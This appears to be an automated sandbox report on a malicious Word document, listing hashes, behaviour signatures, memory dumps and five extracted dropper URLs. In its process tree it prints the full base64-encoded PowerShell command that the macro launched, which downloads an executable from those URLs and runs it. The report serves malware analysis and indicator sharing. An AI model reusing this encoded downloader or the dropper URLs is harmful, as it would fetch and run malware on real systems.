Analysis

  • max time kernel
    101s
  • max time network
    137s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    21-04-2022 19:34

General

  • Target

    mjnxsxza.doc

  • Size

    175KB

  • MD5

    f8ab6670f00a035e68134a7fd4dcb264

  • SHA1

    0fd60d0c821d6aa014171a05b7678a21b05056fe

  • SHA256

    f794639d67379bfe9c95c945acab77981d8f44fc8d75e2566e09aaff420cb280

  • SHA512

    f4f48f82ec065a0e7aaa2ae57eceeaead5b5ad7ff49b73cbaf332bf5329888714a8819aa64a95aabdec6471596f299d2a2c20e4557425e4da722d99cdbe5e45c

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.greaudstudio.com/docs/olohz_suq_munasyr/

exe.dropper

http://www.gravelrecords.com/wp-admin/5h_jns_l3s6/

exe.dropper

http://gtsouth.com/drinkmenu/38vq_z8al_r5cujfy90n/

exe.dropper

http://groncrete.com/bower_components/cvbh8_f0_84rai/

exe.dropper

http://www.gunesoluk.com/eotps/heb_x_1ehlbx9/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\mjnxsxza.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1008
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1188
    • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
      powersheLL -e JABOAFoAQwBSAE8AeQBoAGkAPQAnAFoAQQBHAFEASABuAHYAYwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYwBgAFUAcgBJAFQAeQBgAFAAUgBvAGAAVABPAGMAYABvAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABTAFkAQQBTAEcAdQBlAGEAIAA9ACAAJwA1ADgAMwAnADsAJABHAEkASABFAFUAZgBoAGEAPQAnAEYAUABGAFYASABsAGQAegAnADsAJABRAE8ATQBOAFMAYgBlAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFMAWQBBAFMARwB1AGUAYQArACcALgBlAHgAZQAnADsAJABaAEEATgBGAEoAbwBmAGYAPQAnAEIAUgBOAFcARABmAHUAdQAnADsAJABBAE8AQwBZAE0AcwB0AGQAPQAuACgAJwBuAGUAJwArACcAdwAtAG8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4ARQBUAC4AdwBFAGIAYwBMAEkAZQBOAFQAOwAkAFQAQQBKAEoAQQBsAHoAegA9ACcAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGcAcgBlAGEAdQBkAHMAdAB1AGQAaQBvAC4AYwBvAG0ALwBkAG8AYwBzAC8AbwBsAG8AaAB6AF8AcwB1AHEAXwBtAHUAbgBhAHMAeQByAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AZwByAGEAdgBlAGwAcgBlAGMAbwByAGQAcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ANQBoAF8AagBuAHMAXwBsADMAcwA2AC8AKgBoAHQAdABwADoALwAvAGcAdABzAG8AdQB0AGgALgBjAG8AbQAvAGQAcgBpAG4AawBtAGUAbgB1AC8AMwA4AHYAcQBfAHoAOABhAGwAXwByADUAYwB1AGoAZgB5ADkAMABuAC8AKgBoAHQAdABwADoALwAvAGcAcgBvAG4AYwByAGUAdABlAC4AYwBvAG0ALwBiAG8AdwBlAHIAXwBjAG8AbQBwAG8AbgBlAG4AdABzAC8AYwB2AGIAaAA4AF8AZgAwAF8AOAA0AHIAYQBpAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AZwB1AG4AZQBzAG8AbAB1AGsALgBjAG8AbQAvAGUAbwB0AHAAcwAvAGgAZQBiAF8AeABfADEAZQBoAGwAYgB4ADkALwAnAC4AIgBTAGAAcABMAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEcAVgBIAE0ARwB4AHAAZAA9ACcAVQBGAFkARgBFAG4AYgBkACcAOwBmAG8AcgBlAGEAYwBoACgAJABYAFcAQQBBAEkAbABxAHoAIABpAG4AIAAkAFQAQQBKAEoAQQBsAHoAegApAHsAdAByAHkAewAkAEEATwBDAFkATQBzAHQAZAAuACIARABgAG8AdwBOAGwATwBgAEEAYABEAGYAaQBMAGUAIgAoACQAWABXAEEAQQBJAGwAcQB6ACwAIAAkAFEATwBNAE4AUwBiAGUAZwApADsAJABXAEEAWgBTAFkAcABmAGcAPQAnAEYASQBMAEEAQQBuAHUAdwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAFEATwBNAE4AUwBiAGUAZwApAC4AIgBsAGAARQBOAGAAZwBUAEgAIgAgAC0AZwBlACAAMgAzADQAMwAwACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAFIAYABFAEEAVABlACIAKAAkAFEATwBNAE4AUwBiAGUAZwApADsAJABNAFQAUQBQAEYAcgBsAHoAPQAnAFYATgBBAFUAQQBxAHkAdAAnADsAYgByAGUAYQBrADsAJABOAFcAUwBIAEEAbwBqAHUAPQAnAFQARQBLAEwASABpAHAAcQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABGAEwAVQBCAE4AcABkAGsAPQAnAEUATwBMAEoAQwB1AGQAagAnAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:320

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/320-62-0x000007FEF31D0000-0x000007FEF3D2D000-memory.dmp

      Filesize

      11.4MB

    • memory/320-66-0x0000000002A14000-0x0000000002A17000-memory.dmp

      Filesize

      12KB

    • memory/320-64-0x0000000002A10000-0x0000000002A12000-memory.dmp

      Filesize

      8KB

    • memory/320-68-0x0000000002A1B000-0x0000000002A3A000-memory.dmp

      Filesize

      124KB

    • memory/320-65-0x0000000002A12000-0x0000000002A14000-memory.dmp

      Filesize

      8KB

    • memory/320-67-0x000000001B830000-0x000000001BB2F000-memory.dmp

      Filesize

      3.0MB

    • memory/320-61-0x000007FEFB6A1000-0x000007FEFB6A3000-memory.dmp

      Filesize

      8KB

    • memory/1008-59-0x00000000005A1000-0x00000000005A3000-memory.dmp

      Filesize

      8KB

    • memory/1008-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1008-58-0x0000000070BFD000-0x0000000070C08000-memory.dmp

      Filesize

      44KB

    • memory/1008-60-0x00000000005A1000-0x00000000005A3000-memory.dmp

      Filesize

      8KB

    • memory/1008-63-0x0000000005810000-0x000000000645A000-memory.dmp

      Filesize

      12.3MB

    • memory/1008-54-0x0000000072191000-0x0000000072194000-memory.dmp

      Filesize

      12KB

    • memory/1008-55-0x000000006FC11000-0x000000006FC13000-memory.dmp

      Filesize

      8KB

    • memory/1008-57-0x0000000075FB1000-0x0000000075FB3000-memory.dmp

      Filesize

      8KB

    • memory/1008-71-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1188-69-0x0000000000000000-mapping.dmp